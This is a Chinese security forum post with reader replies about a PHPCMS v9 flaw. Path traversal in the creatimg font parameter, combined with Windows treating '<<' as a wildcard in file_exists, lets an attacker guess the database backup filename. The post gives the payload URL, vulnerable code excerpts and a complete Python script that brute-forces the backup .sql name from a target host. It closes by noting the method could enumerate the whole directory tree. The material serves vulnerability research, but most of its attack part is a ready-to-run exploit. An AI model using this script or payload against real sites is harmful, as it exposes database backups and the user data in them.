用户
搜索
  • TA的每日心情
    无聊
    2018-6-20 18:13
  • 签到天数: 46 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    红日安全团队

    Rank: 7Rank: 7Rank: 7

    14

    主题

    33

    帖子

    938

    魔法币
    收听
    0
    粉丝
    3
    注册时间
    2017-3-13

    i春秋签约作者

    Mochazz i春秋作家 红日安全团队 i春秋签约作者 楼主
    发表于 2018-3-9 22:23:58 38671

    参考文章:PHPCMSv9逻辑漏洞导致备份文件名可猜测

    payload/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql

    我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。

    这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作

    # api.php
    <?php
    define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
    include PHPCMS_PATH.'phpcms/base.php';
    ......
    $op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');
    ......
    if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {
        include PHPCMS_PATH.'api/'.$op.'.php';
    ......
    ?>

    /api/creatimg.php文件中,使用了file_exists()函数判断$fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile可以被用户控制,且未过滤./等符号,最终导致了漏洞发生。

    # /api/creatimg.php
    <?php
    defined('IN_PHPCMS') or exit('No permission resources.'); 
    $txt = trim($_GET['txt']);
    if(extension_loaded('gd') && $txt ) {
        ......
        $fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';
        ......
        if(file_exists($fontfile)){
            //计算文本写入后的宽度,右下角 X 位置-左下角 X 位置
            $image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
            $imageX = $image_info[2]-$image_info[0]+10;
            $imageY = $image_info[1]-$image_info[7]+5;
            ......

    爆破脚本如下:

    #!/usr/bin/env python
    # coding=utf-8
    '''/*
        * author = Mochazz
        * team   = 红日安全团队
        * env    = pyton3
        *
        */
    '''
    import requests
    import itertools
    characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"
    backup_sql = ""
    payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
    url = "http://192.168.0.106"
    flag = 0
    for num in range(1,7):
        if flag:
            break
        for pre in itertools.permutations(characters,num):
            pre = ''.join(list(pre))
            payload = payload.format(location=pre)
            r = requests.get(url+payload)
            if r.status_code == 200 and "PNG" in r.text:
                flag = 1
                backup_sql = pre
                payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
                break
            else:
                payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
    print("[+] 前缀为:",backup_sql)
    flag = 0
    for i in range(30):
        if flag:
            break
        for ch in characters:
            if ch == characters[-1]:
                flag = 1
                break
            payload = payload.format(location=backup_sql+ch)
            r = requests.get(url + payload)
            if r.status_code == 200 and "PNG" in r.text:
                backup_sql += ch
                print("[+] ",backup_sql)
                payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
                break
            else:
                payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
    
    print("备份sql文件地址为:",backup_sql+".sql")

    效果如下:

    14

    后记:

    在测试的过程中,由于本地php环境出现问题,导致复现一直没成功,最终重装环境解决问题。实际上,如果这个程序加以修改,理论上是可以利用这个漏洞遍历整个phpcms目录文件结构的,只要前缀重复的不多(例如get_file.phpget_img.php的重复前缀为get_)。

    相关文章:

    本帖被以下淘专辑推荐:

    https://mochazz.github.io
    发表于 2018-3-10 14:11:53
    感谢分享,还以为只有dedecms有呢,涨见识了!
    使用道具 举报 回复
    本帖最后由 jayeChen 于 2018-3-12 11:56 编辑

    66666666666666666666666666666666
    使用道具 举报 回复
    发表于 2018-3-13 02:44:42
    api.php后面的op=creatimg&txt=mochazz是如何得知的
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册